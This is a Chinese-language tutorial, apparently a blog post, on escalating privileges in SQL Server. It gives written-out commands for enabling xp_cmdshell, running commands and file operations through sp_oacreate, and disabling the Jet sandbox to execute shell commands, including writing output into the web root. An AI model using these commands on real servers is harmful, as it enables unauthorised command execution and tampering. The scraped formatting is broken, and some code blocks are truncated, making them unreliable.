SQL SERVER 提权与总结
sql server提权主要依赖于sql server自带的存储过程`。存储过程主要分为系统存储过程、扩展存储过程、用户自定义的存储过程三大类。
- 系统存储过程主要存储在
master数据库中,以sp_为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名; - 扩展存储过程则是对
动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以xp_为前缀
- xp_cmdshell提权
xp_cmdshell是一个开放接口,可以让SQLserver调用cmd命令。
想要使用该存储过程,就需要拥有SA账号相应权限,使用sp_configure将其开启。其中xp_cmdshell的提权前提为两个:
- 拿到
sa权限的账户密码 sqlserver服务未降权
使用账号密码登录成功后,先检查xp_cmdshell是否存在。
1 | select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'; |
结果为1,则证明存在。当结果为0时,可以通过下列命令恢复
如果
xp_cmdshell被删除,则可以通过下列命令重新加载。1
dbcc addextendedproc("xp_cmdshell","xplog70.dll");
如果连
xplog70.dll也被删除,则可以通过下列命令恢复(未验证)1
2
3exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL
Server\MSSQL\Binn\xplog70.dll';当通过
xp_cmdshell执行命令时,出现下列错误时,1
-2147217900:[Microsoft][ODBC SQL Server Driver][SQL Server]SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
可以通过下列语句开启
xp_cmdshell1
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE
使用
xp_cmdshell的方式为1
EXEC master..xp_cmdshell 'whoami';
- sp_oacreate提权
sp_oacreate可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd。
sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言,换言之就是xp_cmdshell能执行的sp_oacreate+sp_oamethod同样能胜任。但是使用此方法时sp_oacreate没有回显,所以一般用于xp_cmdshell无法使用时。
以下命令用来开启sp_oacreate,不开启的话同样会有阻止组件的报错。
1 | EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGURE |
提权命令如下
1 | declare @shell int; |
不过没有回显可以配合一些其它操作配合完成读取文件,比如可以通过xp_dirtree列目录可以查到物理路径
1 | execute xp_dirtree 'c:' # 列出所有c:\文件、目录、子目录 |
那么就可以先将执行的命令写入到网站目录下
1 | declare @shell int; |
除此之外,还可以通过替换上列命令中的run和组件完成其它操作
复制文件
1
2
3declare @o int;
exec sp_oacreate 'scripting.filesystemobject', @o out;
exec sp_oamethod @o, 'copyfile',null,'c:\\1.txt' ,'c:\\2.txt'移动文件
1
2
3
4declare @o int;
exec sp_oacreate 'scripting.filesystemobject', @o out;
exec sp_oamethod @o, 'movefile',null,'c:\\1.txt' ,'c:\\2.txt'删除文件
1
2
3
4
5
6DECLARE @Result int;
DECLARE @FSO_Token int;
EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT;
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile', NULL, 'C:\\Inetpub\\wwwroot\\1.txt';
EXEC @Result = sp_OADestroy @FSO_Token;
sandbox提权
默认情况下,注册表中
mdb数据库不允许执行系统命令,但是开启沙盒模式,就准许mdb文件执行数据库,通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令。1
2select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("whoami")')
没有开启的话报错,通过下面命令开启组件
1
2
3
4
5exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;再次执行会报下面错误
接着关闭沙盒
1
2
3
4
5
6
7exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
沙盒模式`SandBoxMode`参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1 :为仅在允许范围内
2 :必须在access模式下
3:完全开启没有报错,说明执行成功。没有回显,可以通过之前的办法将加显写入文本后读取即可。
1
2select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("C:\\windows\\system32\\cmd.exe /c whoami > C:\\Inetpub\\wwwroot\\1.txt")')

